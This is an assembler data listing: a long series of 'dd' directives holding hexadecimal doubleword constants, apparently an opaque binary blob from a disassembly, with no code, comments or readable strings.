dd 3A640FF0h, 0CA47A440h, 172F103Dh, 2701A5BBh, 4442701Eh
dd 33FC6D71h, 0D8F0007Eh, 0CE2816A6h, 0DE006CB4h, 695BEAB7h
dd 19B678h, 0F053E60Dh, 43AE9FBh, 0FFE21612h, 0B2E6000h
dd 9BC505Dh, 0F8631EC8h, 80586284h, 0EB3F5164h, 312F1800h
dd 0E9A7408Fh, 781600CFh, 0CFB6159h, 0A201499Fh, 32F3FD3Fh
dd 7FDC1504h, 0F9EB0238h, 44827997h, 2C0E1448h, 5592BE00h
dd 0D84FA7C2h, 9179D4h, 7195E528h, 161BB70Bh, 9008C100h
dd 57292752h, 947301F4h, 0EBC8358Ah, 23188097h, 60F1A9D9h
dd 0DEBF03DAh, 4F0F9D48h, 0C8D683D1h, 1751E24h, 454BB300h
dd 0CBAAB5B0h, 0F0E461C4h, 0CC767EEDh, 0FF14877Dh, 50A89FDBh
dd 0BE182930h, 9510697Ch, 6F672822h, 7FBD38CDh, 8760F900h
dd 493E55B5h, 0FE15F100h, 8C9B9A1Ch, 1B7A005Ch, 8A82C892h
dd 993D6106h, 0DD6280A8h, 420E0536h, 0D61F002Dh, 5B6F4A9Bh
dd 0B27BEE85h, 6B8D4001h, 0DA65CB8Ah, 987B8370h, 4DCA0057h
dd 0B2C0E05Dh, 0D907E13Fh, 4AE83093h, 6D0608A0h, 0E807A99h
dd 82D84C94h, 0E8FD2A60h, 0A9E48D63h, 1D659CA0h, 0C315B100h
dd 3B069AD0h, 0F8CB4C83h, 33A69000h, 99CF6934h, 3F313Ah
dd 0DA6BC235h, 5C309Ch, 0EC2B87A7h, 6EE81745h, 0AD0063F0h
dd 3343C7CDh, 7720D468h, 22ED00DAh, 496D93B6h, 0A000B5FFh
dd 646A027Eh, 0A268299h, 92B9AA2Ah, 8C0900DCh, 87492BA0h
dd 1CA6AB26h, 4DD7FC80h, 265F1760h, 9B4F60Ah, 40012722h
dd 0CC81A9EAh, 61074B8Ah, 0B05CF010h, 452E73F0h, 4288005Fh
dd 9A98DE16h, 2500CA6Ch, 0C4F13D6Dh, 0B2E153h, 897B6A61h
dd 66B3FC24h, 0FD3E7017h, 0BB8D5400h, 0AA366Dh, 0B5498453h
dd 0B2D12386h, 3B995003h, 0E8A02F19h, 7015D022h, 50F5F6BAh
dd 25E4C8h, 8778E7AFh, 3C6146CDh, 1D1C5473h, 1182DF24h
dd 80EA392Ch, 0A54EB4B4h, 29DCFB80h, 0FA581C26h, 0AFD840DAh
dd 578ABF1Ah, 0D0A2A8C0h, 0EE6948B7h, 2B898C5h, 7D24359Bh
dd 0D8015340h, 0C0046EE4h, 0A83D4A5Bh, 67F6187Eh, 23AFFF2h
dd 50138073h, 0A9D6F6CEh, 0E65B120Bh, 0B85000FDh, 5546810Ah
dd 4AC9150h, 0A8E45900h, 1F4D98CBh, 238B008Eh, 5BA29932h
dd 75F452B9h, 0DA5FDD00h, 0F26E891Dh, 0BB4700DBh, 245527D3h
dd 4F0031C9h, 871BAE0Fh, 668EF9h, 5D16E9FEh, 0C5F571B7h
dd 0CDB83901h, 3831BF2Dh, 2661F0D3h, 0D17A07C2h, 50797C8Fh
dd 50609A9Ch, 0DC1EBD00h, 343A8A22h, 0A0C8500Fh, 74B40004h
dd 7A2AB613h, 2200F3A5h, 2DB2B9DEh, 500110E1h, 0BFC45Ah
dd 0F64792D0h, 1AC17CE3h, 0D284E200h, 79951C57h, 8F113D3Ch
dd 0FFD7D500h, 0B30CB5FEh, 78681E00h, 829D6B96h, 79944857h
dd 0F1F68700h, 2F99CE5Dh, 79625905h, 0F481FF80h, 0FCD31F3h
dd 30C9CBE0h, 0D186BC3Fh, 0D203DEBDh, 1F9DB087h, 8467A8C8h
dd 0DA400C6h, 47737FEBh, 1A00A712h, 82B6D08Fh, 40E6432h
dd 142BD1F2h, 0DB6C82CFh, 5745005Dh, 726AD5Bh, 7F1E434Bh
dd 0FE478016h, 3E002D52h, 0FC41F519h, 93CB97h, 381E6061h
dd 4286833Dh, 0EE40E400h, 9968DF80h, 272F005Dh, 54B1FE05h
dd 42002473h, 7893C5FBh, 96BCD4h, 9BE7606Ah, 3329F4A5h
dd 0CAA2011Dh, 0D8654B00h, 606D66h, 4D3084E4h, 71860C79h
dd 0C41EDF00h, 0CC5A3A6Fh, 4D5FA89h, 0E83E2046h, 39E4C17Fh
dd 707AF16Ah, 0EC034BF3h, 0D05EF409h, 842E829h, 0F7AB00B1h
dd 49B7EF45h, 7A00ECE5h, 338BAE0Dh, 0C08CF071h, 0DA7F2E71h
dd 577F082Ch, 465A6800h, 0C58DEC27h, 3C9C059Fh, 1F336F6Ch
dd 1CFB01DFh, 83EFFC73h, 0A46A9520h, 0C98189ADh, 283F14ECh
dd 1EA431A5h, 80C57E19h, 0EF6AC3C8h, 740077B5h, 61D21EACh
dd 1252C4F8h, 0C002E436h, 0F19D89A8h, 8B015C1Ch, 0BA550680h
dd 0C7AFFh, 2D03F282h, 2369F198h, 0A3307300h, 0B4BC7E6Ah
dd 8A59009Fh, 254BFEA8h, 277FFDB7h, 0F81A0300h, 4737AA1Ch
dd 7A040082h, 9CAEC4D4h, 791F59C3h, 9840E9D9h, 0ECB472D3h
dd 0F2910197h, 0AF44F0C7h, 6B77CC56h, 6E5DBF00h, 634654A0h
dd 0CB355082h, 1D600DDh, 96A8785Fh, 0AB3C59B1h, 0BBD7803Eh
dd 0FC8463Dh, 8EC900F0h, 0EB0C0D20h, 0AC7ADD26h, 0F9DAF71Eh
dd 0E095CF49h, 1446EF44h, 84EE2A3Bh, 426AD312h, 0DB4E4F98h
dd 89E794C0h, 5384358h, 0F6CD2C70h, 8CC1C680h, 0D3442679h
dd 0CB7180B4h, 708ACA1h, 2CB4CD02h, 43D2553Dh, 71A800E8h
dd 11B03709h, 0DA00B24Ch, 6A5AB69Bh, 347463h, 5916AA02h
dd 3ED6D1E6h, 3C2658h, 0F4F17A4Eh, 1EDA3Bh, 0C95637ACh
dd 5A9801B5h, 0C6F28006h
dd 605067h, 8AD6AB7Ah, 3CF4A2B0h, 1C814F00h, 0C144EBB2h
dd 3484AB9h, 1E8D65ECh, 0A2A693D7h, 8011E038h, 3B5E330h
dd 2766B39h, 2FFD5D62h, 0C86141DDh, 598029F0h, 400B2E84h
dd 314C1503h, 0F45900FCh, 0A3AB9EB6h, 1C9619CEh, 0B038C300h
dd 1C5766Ch, 0F83D860Fh, 0F42EE337h, 4039FA1h, 1391D8FEh
dd 5A35F85Dh, 0BA8A009Ah, 225665ADh, 0FC00A8C5h, 0F9D63A21h
dd 0F5636F59h, 58DA7EF8h, 1A00B838h, 481255E1h, 9C004254h
dd 0CCED7204h, 126E66B2h, 0FFDF9E9h, 63414CF0h, 0E895897Fh
dd 0F4F7A9E7h, 742479FCh, 180004EDh, 5DBC8F70h, 49AE0047h
dd 556D774Dh, 94006E59h, 9FEF4A48h, 8D4553h, 2F36936Fh
dd 0DC84BA2Bh, 359AFB03h, 0C0926838h, 13BE5AA2h, 0E3804Bh
dd 67F6D8C4h, 472E0D4Dh, 0F280149Fh, 285ADE6Dh, 0CF2B0199h
dd 0D5714B3h, 0CD686058h, 1901FBECh, 1752F8FFh, 95D8EA7Dh
dd 0E319C0CAh, 7FAA80DCh, 0ECD86400h, 1DC056E1h, 0ACDB0702h
dd 0B03B6CFAh, 58C66E3h, 0E515D8E1h, 0DC0A3502h, 0CBB07F06h
dd 4AAEA0B4h, 3C3EC47h, 0C5CE5AA4h, 80C88357h, 0D00F013h
dd 15D2A5D6h, 7FEA9807h, 3541014Ah, 955ED892h, 7D5CE8E7h
dd 0A28F1607h, 0FE303C2Bh, 659735h, 0C9B0F13Eh, 0F81E21DFh
dd 4100EC96h, 0B9D0F271h, 46FB00B6h, 3DB4CE8Fh, 0B23F6DE1h
dd 2F007ACDh, 0DFC544EAh, 9E9CD7h, 6C155728h, 0BF239F10h
dd 38E948h, 0E6A6A1A7h, 415168h, 92823A4Ch, 72F4DE7Ah
dd 23D12Ch, 0F01AC700h, 18ED68BBh, 0F80B2539h, 6A0E21D3h
dd 0F2DC642Eh, 0B2486047h, 86591A10h, 9E570146h, 0C944FB6Ch
dd 0A4B8FC64h, 70D31500h, 4F074CB1h, 1BDF848h, 0A5D9CB35h
dd 401276B5h, 0F8C6F388h, 0BC4CC0B8h, 83521EFCh, 57CC0500h
dd 0E7025404h, 0B0FEFAECh, 28D70070h, 264F2755h, 5E00A908h
dd 0DD24BBEFh, 3457DABh, 39508F57h, 609EE553h, 0C20E1A00h
dd 0E329D446h, 0D0D90C04h, 8BD87BA8h, 998DAF0Ah, 4300C13Eh
dd 0ECC7AA4Dh, 59DE0006h, 896B8211h, 0D60E940Eh, 0E0B07E6Ch
dd 1037FFA9h, 752F8BAh, 86B8E324h, 0FD84025Ch, 491E2C40h
dd 424EB200h, 0BADFE564h, 16087B55h, 3B5D5C6h, 243AB88h
dd 0CD3E22C0h, 0D8EF6B07h, 0FD803599h, 751382h, 6E2CE1FCh
dd 0C2C67A40h, 0F4B23Eh, 37E206D6h, 307E90F9h, 0CF18BF56h
dd 9530D49Fh, 0A7B129DDh, 626100DFh, 0CAADAB2Bh, 0F0005C74h
dd 7563E4BDh, 5BB847h, 7DCEC87h, 92787D1Ah, 0EB669809h
dd 0B3C78079h, 0F1B0128h, 0B00F558Dh, 0FD291140h, 6F0EF9EAh
dd 4010A9E2h, 3CD1D704h, 0E4D20041h, 0B377821Eh, 0B202DC09h
dd 5096F2ABh, 0AE2860C5h, 8575004Ch, 32657CD2h, 0B5008DE5h
dd 60F59311h, 11FA5ABh, 7E33378h, 0D0FE7BD4h, 0DD0064CFh
dd 269CF817h, 1EF39646h, 807E5A9Bh, 0FEBB348Ch, 70007931h
dd 29CCA643h, 232C88h, 0F0AA4C24h, 0AED66297h, 429D811Eh
dd 1C152B00h, 179BA8h, 0A78CA0Fh, 0C5D20DFEh, 1E5E9A3Bh
dd 2B80538Eh, 0F74355BFh, 256C005Fh, 1A7023B5h, 0BAEEF9BCh
dd 0CBD4DA00h, 55E2A97Dh, 8F9700D9h, 0CCDC3F5h, 4D00F0E4h
dd 8E6703E0h, 0CFD77299h, 3EA12920h, 81D8467Ah, 59287D10h
dd 0B16018E0h, 0DFC107DBh, 80D70773h, 2F4F12F8h, 0B0C68800h
dd 0E86A0E53h, 955A00BEh, 2CBB5BC3h, 6600F907h, 0DDB1AA33h
dd 8CFCE0h, 87690281h, 2B3B29F7h, 1F7EE82Ch, 99209B00h
dd 0A06A251Dh, 9E95ACh, 9C63BCC5h, 853886A7h, 1A2C31Dh
dd 90BBC480h, 3DA8D18Ch, 690EEAC8h, 6AEFB61Eh, 0A210C5E0h
dd 0FF02BB6Fh, 15BAC862h, 69E05DC7h, 0E8004381h, 0EF98E5A1h
dd 0CF4E6Ah, 0A76386BAh, 0D84D8A53h, 0BE2CB63Fh, 6BDC015Fh
dd 759ECD6Dh, 131EC07Bh, 53007279h, 1F310CA3h, 3A2C3Eh
dd 0F398FE39h, 6088F55Dh, 8005AD00h, 1FEC0379h, 1C7BF64Bh
dd 0CC9BAF65h, 1B380A1Eh, 49612003h, 0C0131DB6h, 11862DFh
dd 41915643h, 40A4D0EAh, 1B741A84h, 58B2C600h, 0DC2A303h
dd 129B07D7h, 0F0EC7595h, 8C449305h, 0D90C2400h, 588DF31Eh
dd 483E6109h, 3FD387Dh, 3920C8C6h, 0DA22018Fh, 65C117BFh
dd 6BB98464h, 3ED088CEh, 3B742282h, 3FF60C7h, 73771444h
dd 26F828ABh, 2400E585h, 0B0398F98h, 36938D7h, 366C1637h
dd 8AB0F615h, 9A006EAEh, 6AB6FDA3h, 8065Fh, 582C3D75h
dd 5EA4A1EBh, 20D71130h, 28AA566Fh, 2841A5Ah, 29D1E8F2h
dd 5C603C9Ch, 0A601BB09h, 0C6E30FC0h, 0C1F460ABh, 0A19700B8h
dd 0F34CCB68h, 0C3009D83h, 0FBE68536h, 2FFE7Ch, 688F6125h
dd 10672B77h, 913FCA78h, 7638867Eh, 3D202330h, 2085DD4Fh
dd 0C07AE2BEh, 438C2C30h, 9249B90Fh, 85DD6154h, 0FCC480B6h
dd 9D3D03F7h, 0CAC90E64h, 132C2EA8h, 74F94Ch, 7F11354Eh
dd 7D74Ch, 0CD1FEDB3h, 0ABCC2D03h, 0C4D8F700h, 0FDDDC6ADh
dd 43DE0024h, 9C5153D2h, 0FA006FBDh, 0DE5DCFCh, 4F307Ah
dd 2381D44Ch, 7275A8BCh, 0B3501D1Eh, 83935709h, 0C02DCA87h
dd 0EC3A8248h, 3B18073Dh, 80EF3085h, 778C3FA5h, 0FB0073F0h
dd 0A4E82048h, 6D7CDDh, 0CE476539h, 0F42F41C8h, 368D601h
dd 0E13F5766h, 4D50CC80h, 0A9112B45h, 0B540F207h, 2057F585h
dd 0DB8FD870h, 45300048h, 2192CDCBh, 6900E7EEh, 0A71B7168h
dd 26A08758h, 0ED80374h, 650FBC4Fh, 0FA1FA620h, 9202FBAEh
dd 73D3E03Bh, 4CF880FFh, 1C9C0B9Bh, 0C1EFCC65h, 78D88D4h
dd 0A82299h, 0D350B95Ch, 136DAD27h, 0FCCC8572h, 0B04883h
dd 39E821E9h, 3F1F48h, 0CFC41DBFh, 10A98A4h, 0DCC62624h
dd 0FA84C200h, 909AAE2Eh, 0F6CE3D3Ch, 3D804B38h, 3B8B7BB1h
dd 820099C7h, 0B9D1655Dh, 0EF13FD9h, 626FA636h, 0B15ABF67h
dd 2092A737h, 0DF00E0B7h, 0D7D459B5h, 45970Ah, 0D39517D6h
dd 0B9D50C2Eh, 0CC139D3Dh, 54210072h, 68E0F566h, 93A0146Bh
dd 0A3009005h, 0FD9C6E4Eh, 3E78C454h, 8A9A4C0Fh, 6A1D008Fh
dd 0BFB49Eh, 480BED70h, 0F0134BEh, 0D97C280Fh, 24DC0F6h
dd 0F22BFEAh, 563EB1AFh, 0D719807Fh, 2CDCFD36h, 25D39400h
dd 5FA6F569h, 0EABA2C86h, 0C05A804Ch, 0E74DF7F9h, 1D50AB02h
dd 90A7D494h, 26B66BBCh, 897C919Dh, 0E7800D6Eh, 14615224h
dd 17604407h, 207C6D04h, 29C83E28h, 48ADFE00h, 54D8670Dh
dd 11DE4F00h, 645EB865h, 76E2004Eh, 5557B159h, 0FD28CB1Dh
dd 0CEE5BCE4h, 342FB0C0h, 93D59B03h, 0D713A2CCh, 62B14D30h
dd 5B4B0030h, 1849AA73h, 450E3E24h, 0AEAF302h, 5F1DBCEDh
dd 96CFE2C0h, 0EDC0184h, 0BB0B158Eh, 0C29F83A1h, 9B99302Fh
dd 0C0F19817h, 64FDD700h, 180A0h, 5EE5595Bh, 1C5CD69Fh
dd 1F06E70Fh, 9181E776h, 0E1DBD130h, 0B8E43916h, 0CF86D080h
dd 0B4420CE7h, 0C5889400h, 778DADAFh, 0D5BE0064h, 1029C10h
dd 1D00931Ah, 0EBAAE49Eh, 0FA464195h, 0EC9A8Fh, 4967BBBEh
dd 624C9A34h, 0EA20690Fh, 50A88071h, 6FDA81h, 401BB98h
dd 5EED4F6Bh, 545CC202h, 402ED60Bh, 0BEE084h, 0D246E74h
dd 782F23B0h, 0F3B3C300h, 8D198B40h, 64EA1D5Ch, 0FE7D81D0h
dd 0F067D48Ah, 890F211Fh, 18AAE90Ah, 1C5E519Eh, 8F1A044Ah
dd 9B1FF3D1h, 0A1D3A8D8h, 0FCB44CC0h, 0F7A0238h, 44E6D24Fh
dd 0EA8084E0h, 69DA83Dh, 6855FB2h, 0E20011FCh, 8926B319h
dd 6EEE107Dh, 73C2F87Ch
dd 80400809h, 0F004C15h, 770AF80Eh, 505AA93h, 32385D75h
dd 3D1808EFh, 0F408741h, 538C546h, 986730B6h, 7B10013Ch
dd 80E5EF47h, 0D7335C0h, 0F0F4A75Bh, 3122008Ch, 94E9B645h
dd 0B17C0AB8h, 0F9235D00h, 9704D027h, 0CE7CF5h, 8E0C4F7Bh
dd 0EB17D9C5h, 8ED26D3Dh, 0A0B5A73Ah, 0ACF77649h, 6A7A1777h
dd 6B5400CBh, 0B87265AEh, 6C7008E8h, 0A62BE600h, 0CF1DB396h
dd 0ABFE008Eh, 3C936717h, 600B7BEh, 0F21A12ADh, 0CA4F41h
dd 3088FEB9h, 6989A2D7h, 0B4670A1Dh, 2CCC0600h, 82B380h
dd 0B8D84843h, 3C6224A9h, 0FDF2F119h, 282490DCh, 4AE5009Dh
dd 0F3E11382h, 493AFBEDh, 219F30F0h, 4B08BCh, 0DE74B7E5h
dd 10F85AB3h, 76A52604h, 10801B35h, 140512h, 4C17A8AAh
dd 0EE732111h, 60BC000h, 3EC951B3h, 0FEB80C7Ah, 0EA5979D4h
dd 5D838A00h, 52B587DEh, 0B45C01E7h, 92E16358h, 8D7070A8h
dd 0A6BE740Ah, 465E5C3Ah, 43610EA0h, 0F38C20D5h, 30D021F1h
dd 7D20C863h, 0A400127Fh, 136892EFh, 3BBC55h, 7159C3D1h
dd 0FF4889E8h, 0CCE6B200h, 0DA670C3Ah, 38890EAh, 6698E16Bh
dd 2006F1CBh, 670ED2F4h, 47D0579h, 648008h, 0BEE99E08h
dd 0A01E30DDh, 90596913h, 2180B408h, 6EBEFCF8h, 5D4BEF5Ah
dd 751203ACh, 4B5B1CF6h, 75809F67h, 9ED554F4h, 9DB8A001h
dd 0F275B6FFh, 827D024h, 8BEF5158h, 88318587h, 3C602346h
dd 51BAB1FEh, 0A33CE100h, 459422ECh, 74309278h, 7C53C89Eh
dd 3150600Bh, 0BEC8BA07h, 0E374E907h, 0ABF6D3A9h, 21406908h
dd 0A0BEFC80h, 4F0784C3h, 8F7C5715h, 1C8E94A3h, 803F7650h
dd 5D70301Fh, 6F037FA2h, 729C795Fh, 0EB0CD841h, 856A03DDh
dd 625DC95Bh, 7034FDB0h, 2F26CC00h, 97EBC59Fh, 2604E4F1h
dd 582402h, 2570FE68h, 1607EC9Eh, 2BF1E73Ah, 0C4ED5750h
dd 17223CE4h, 3C7D00FFh, 110C904Bh, 70397B01h, 539600CAh
dd 0CF083BC4h, 7090046h, 0D7E72364h, 670065DEh, 0E5FB3E1Ah
dd 0FA540h, 92120E0h, 4D36A8A1h, 16EA120Bh, 0A3F200B4h
dd 3D9D31h, 50C8719Ch, 0CD79D790h, 6FEB7400h, 5FDD5C1Ch
dd 0F95E1DFAh, 8D524061h, 0F6BA5D0Ah, 27B110C0h, 0E595BFh
dd 0FB9A424Dh, 0B22D8198h, 0C603370Eh, 20498F08h, 0EE019E4Eh
dd 5A0B0020h, 0A45FBA32h, 581C3B73h, 51376AC2h, 117004CAh
dd 10656118h, 80E34019h, 9BE62099h, 0F25261h, 11B89883h
dd 4497E08Fh, 0FD271A18h, 88EBC429h, 0A389853Ah, 0FE44D908h
dd 0F7E74448h, 84D78E44h, 50EBDB22h, 44743C2Ch, 0F75AB90h
dd 88FAB380h, 2A80E5F0h, 89451D58h, 114D0026h, 7B537DF2h
dd 4484D003h, 360738h, 13AF3920h, 0EA797EC9h, 71326500h
dd 68867820h, 448D0707h, 8BDFEB73h, 0A8895782h, 2D90EE82h
dd 144553C0h, 0EBDC100h, 978FF9ACh, 0F167ADCh, 77843E68h
dd 3B391C60h, 2B00C176h, 94DF5D25h, 0FCDB6F5Ch, 1E8600DAh
dd 723DC7ECh, 0B000B6B9h, 533536A2h, 0FDC300Bh, 3877C0E7h
dd 0BEDB1EA0h, 7E0A9DAh, 7BB9C300h, 0EEA71562h, 67F9008Ch
dd 40D79E81h, 5D005472h, 71648D9Dh, 388C8D4h, 0C04F1DBCh
dd 0BAE81F1Eh, 3E851E1h, 74F6AC00h, 0A913C64Ch, 7AC93CF9h
dd 0C595D38Eh, 87B6E7C0h, 1E01B4FAh, 0E9AEA617h, 41C4F1CFh
dd 318E41Dh, 620DD4F8h, 0E6D0325Fh, 1300A1E1h, 2975791Eh
dd 0D6BD3FCh, 4EA00BB8h, 0CB3A3021h, 0FEABA100h, 0E8ADCDD2h
dd 86B039D1h, 0BC95007Ch, 5EA87FAAh, 0B8A0DEECh, 58031B98h
dd 0E32971D7h, 0D238F0FDh, 0BD9139Dh, 1C300062h, 711D2765h
dd 894E733Ch, 0D84454h, 4AA6F215h, 62FF00F3h, 87E5A7F4h
dd 0BE18A830h, 0D2119D38h, 0C06C00F6h, 8BE8ED82h, 18CCA82Ch
dd 0F1D4EDBh, 61F4898Fh, 5FCEEF20h, 0B80002E7h, 63B7692Ah
dd 798D2027h, 249C90BCh, 400C2CACh, 0A6F1D05Eh, 32BE7200h
dd 0E9CA2F89h, 0E29042h, 83C48568h, 0BA7975AEh, 0E1036524h
dd 76364106h, 0CF470010h, 0F84FC248h, 3A398951h, 0BDA10091h
dd 557AC706h, 6ACF07F3h, 60E81895h, 48F1B6DBh, 0AE8F5900h
dd 2722FCFAh, 122300B9h, 9A72BCBh, 700F447h, 0B0A3F554h
dd 2FAAF69h, 0B2CB0CA1h, 0FCC0435Bh, 0DF00C619h, 0F79A6F4Bh
dd 54231Bh, 14779424h, 9E44A6D5h, 7C5BC3Dh, 84496B89h
dd 85A06460h, 47970077h, 0E8400C99h, 0E5007EEFh, 74173357h
dd 128AB5h, 1908DE0Bh, 1B664AA0h, 0FD3DC303h, 88FB5143h
dd 3BDA33CBh, 0D78081CEh, 5EE9B114h, 0BA009BC6h, 0FF603466h
dd 0BB3F28h, 0DB2CA2C7h, 53AF19D8h, 24D42F00h, 1C47B32Bh
dd 7A2D0056h, 39C2BE5Ah, 0A105CE04h, 0B26D4326h, 0E74111C0h
dd 0D9540034h, 19A08B8Eh, 43000CC3h, 0B3F43CB9h, 4C6A3FEFh
dd 7A00F2DEh, 7C5249CBh, 4C0CDADDh, 20E1B081h, 0A53900B9h
dd 152EA9AAh, 1C00736Eh, 1F589910h, 0C8D960Dh, 3028C94Dh
dd 3500DE88h, 0E451EA57h, 1DB9E2ADh, 0C09BAB4Ah, 383779D2h
dd 2E8BDC8h, 48261200h, 27BADAD6h, 39B2580Eh, 0F8E1C300h
dd 0F22FB065h, 0CC3B1102h, 80F5BFA2h, 177F958Dh, 56CA0099h
dd 5E3654B9h, 33005FBEh, 3FC90EE9h, 0D3D9C1h, 48ED5D49h
dd 5E2920E6h, 93942F00h, 0C0350C0Eh, 961C00AAh, 0EE0D8222h
dd 0A5005C32h, 0F79DA183h, 0EA6DAFC4h, 23B30084h, 0FD03616Fh
dd 0E4160647h, 0B2001D71h, 9C63189Ah, 6BD5016Dh, 0FD295636h
dd 15E2F699h, 899DBD60h, 0EE660F00h, 2BEDF58Bh, 9360030h
dd 0CE17DBD4h, 0E9004274h, 8E18D737h, 0E926273h, 5E527570h
dd 8446ADE0h, 6FE4542Dh, 0E9A70B00h, 41DDF97Eh, 0A9B00075h
dd 8529C5AEh, 0BF1210D9h, 78004374h, 0B4FBEFB6h, 0CD420E50h
dd 1805EE2h, 0FE3F52ADh, 0A6BDF00h, 0CC5A97E7h, 18D80025h
dd 7B0E2B08h, 0B91D8BEAh, 0C540FD6Fh, 61E8E326h, 4C0400B8h
dd 7C373691h, 0C00CEE1h, 139DC360h, 0C4E6CDh, 0D74C868Fh
dd 2A0F6576h, 0C0A8F348h, 0BDF6ADBFh, 0A948B2h, 48C3007Fh
dd 0EC237D5h, 5000E6C7h, 0BF82C4F3h, 0FEC61Ah, 0BB6C950Fh
dd 314E0672h, 2B1EA600h, 0C5F3B556h, 0CA403EACh, 62707380h
dd 7186E9Ch, 813E9B00h, 0EB4BCCDFh, 0A7010075h, 0D3B026F5h
dd 2F3C6514h, 7F8402C6h, 0C0C2E95Fh, 557DB0h, 823463C5h
dd 57B4A69h, 0A541200h, 0BCC07836h, 9F1C014Bh, 0AFACE479h
dd 0E89821A6h, 23EA7D4h, 0A2BC80A3h, 349AB107h, 0C6720005h
dd 5CA908C9h, 0E10002C3h, 0F421E38Ch, 0D7178Dh, 0F01693F7h
dd 0D13F2592h, 8031A50Fh, 0EAE48B8h, 1180D00Fh, 68EA76A1h
dd 0A62A0E00h, 0D5C60905h, 12301A9h, 9A38CD15h, 804AE8E4h
dd 59A6821Ch, 30FCBC80h, 13D17C4Fh, 12A3124h, 0F344734Ch
dd 0A801C07Ah, 8013923Dh, 419A20D6h, 24045D48h, 46C06E9h
dd 0D03DCBFFh, 0F20D7398h, 2D6EFC0Ah, 0FE018F50h, 0C459F615h
dd 0EA3BACD4h, 39F20099h, 0ADA4542Eh, 7B007E92h, 0D0B24C49h
dd 90721Bh, 4DCF9B7Ch, 0C9D5E5A0h, 7AE13400h, 80482712h
dd 75230797h, 0FE71332Ah, 0B11C0113h, 30379EEEh, 1C002B68h
dd 759C9527h, 0F36FBEC9h, 96DDA88Eh, 10FF3EC1h, 98D27039h
dd 0D9406500h, 0CC4F500Fh, 42603AE0h, 16646601h, 0CCA324ABh
dd 0BB004C83h, 0A029BC0Ch, 26A9C3h, 16593AEh, 0EFED353h
dd 488F2E12h, 0FC275C60h, 0FE300AEh, 818956B3h, 3A0CF9C8h
dd 90042069h, 491500F4h
dd 0CB5E4FBDh, 0DD00A886h, 3613E2B7h, 713CD9D8h, 0D72D016Ch
dd 0CCFA6123h, 0E53983D4h, 0D08CBB58h, 0E31483h, 0F8B737ACh
dd 0F23F50AEh, 2DC9B48h, 7AC646E7h, 0B459604Ch, 0A6F0073h
dd 195A3D8Ah, 0FF00DEB2h, 3F9A9E6Bh, 8EB4D4h, 2C458179h
dd 1992E27Ch, 3B2F5501h, 5DF9220Fh, 182767E4h, 880737F0h
dd 143AFE75h, 59FCCAB4h, 1D6AE078h, 0F6361B8h, 6D8044B7h
dd 2FCE54BAh, 8C406C07h, 63B0D2FCh, 26656FE5h, 1EC4FD2Dh
dd 0DC4C825Eh, 0A880505Dh, 82F72866h, 3C4A270Fh, 0D8A2843Dh
dd 15A94C0h, 4B702490h, 9C3B8038h, 0F7ED87A6h, 5B294C00h
dd 826FC2BBh, 0AE890068h, 0E0D8B0F3h, 898F696h, 4ED9F00h
dd 93F2D795h, 0F1F80042h, 2699E4E5h, 7C00B780h, 79331BC7h
dd 64E208h, 2FA43C12h, 503E9A8Fh, 48B7EF00h, 22CF4119h
dd 24B87Dh, 0FA5C6B0Bh, 5374071Bh, 8973BBFEh, 46006077h
dd 2C626CE4h, 0F3C731h, 0BE404B82h, 0B54902A8h, 0C84A6037h
dd 58274330h, 267D0011h, 3294E76Eh, 7A0F12A2h, 801C5733h
dd 8EE4BC30h, 0ECA59871h, 0A79A007Fh, 0E3497465h, 92007EBBh
dd 0DE45CED5h, 987B781Fh, 409B1EBCh, 9410CFC5h, 0D3617342h
dd 0D9E585h, 182B8DA8h, 0A00016C4h, 11AF5BD6h, 2FDAEE55h
dd 585E3491h, 0EA922400h, 84B4BFh, 0A3E8C60Ch, 67778CF1h
dd 0CCCF4Ch, 0F66FB5F3h, 0C73C157Fh, 932040D0h, 2071CE8Ch
dd 0A5601419h, 0BDD86340h, 3F1B00FEh, 28367A27h, 4E01ED64h
dd 9195F93Dh, 0ADC0E60Bh, 0F3F70FFEh, 8F8113F4h, 0F589B41Dh
dd 0ED40213Dh, 550BCC5Dh, 0AE4A5038h, 0B609D0CDh, 0E0600EE7h
dd 333B203Fh, 904960F0h, 1B1ABBBFh, 0D50BF200h, 0E8FB1494h
dd 70F4ED93h, 22E50916h, 5C81E3ECh, 0ECD2C252h, 23D5C60h
dd 85FB870Eh, 0BAD116DEh, 0DDD89610h, 0B895778Ah, 0DBFF0F1Ch
dd 0E56B3946h, 88FBB080h, 0E11E23D4h, 48C4BE3Bh, 5881FA47h
dd 35F09BB1h, 8C965031h, 449098h, 474186CEh, 703D7D6Ch
dd 5E7FB800h, 11C85633h, 0D55D0076h, 5B0AA0D3h, 1CEA02FDh
dd 4FA5D918h, 98F36918h, 776A01C2h, 0FD2C78BDh, 59846025h
dd 3C024D98h, 6423B436h, 87CC8085h, 3CC0D7Dh, 279DFC5Dh
dd 0F7D87817h, 0EC03457Ch, 0BD5552Fh, 0AF57D941h, 7BF1EB20h
dd 13E10E7Bh, 65200545h, 0D10B7CE4h, 20E9D000h, 0EBB6946h
dd 0B1C200B8h, 649B2A58h, 5F00B062h, 0BF97AD5Dh, 9870CBh
dd 0B7442E88h, 0F7F6B1C5h, 2400AAEEh, 4EBCE6B6h, 3A1215A5h
dd 4B81182Ah, 2F017E6Bh, 1AAEC441h, 0BE9DFB00h, 1BCB9867h
dd 327C00DEh, 25330EA4h, 60003430h, 3DF9F6A1h, 289C15h
dd 0BD5F9A87h, 93F026EDh, 74EF3A01h, 0CA200692h, 3C52E0h
dd 0ABFA5DD2h, 850C6CD4h, 1B6263Dh, 99DB2137h, 802FAA39h
dd 0C473DF46h, 0BEF48500h, 4502A33Eh, 302F02FDh, 0BA8C8D40h
dd 0F2A06BC3h, 0A60091B0h, 0E5988BC0h, 679063DDh, 1022208Eh
dd 0FA7DC951h, 27D1AC00h, 7C68C298h, 880900A9h, 0D60D9628h
dd 0FC0351EAh, 0C99C722Ah, 50DCB0C7h, 12697BCFh, 33B1E53h
dd 56D12856h, 4070B6A9h, 9B74DA94h, 0FEC45339h, 1BF14303h
dd 888A1662h, 38C8679h, 6E02040Dh, 8184C1D0h, 71C7557Fh
dd 97BBF0EFh, 0C9F03Bh, 0DC79F946h, 0C468819Eh, 880C87E0h
dd 0F078C618h, 0B070BC00h, 5EDA4549h, 0E3F7007Fh, 4B95256Ch
dd 2F00E21Ah, 0B8030EA1h, 0BAB9Ah, 34A83C10h, 81E35C8Eh
dd 0E1000AEEh, 53E2D97Eh, 0DDAD92h, 0BB2A7FEDh, 30BE5A05h
dd 60DA5700h, 505B8DBDh, 0A7280004h, 0C54FEFB8h, 0A20093A6h
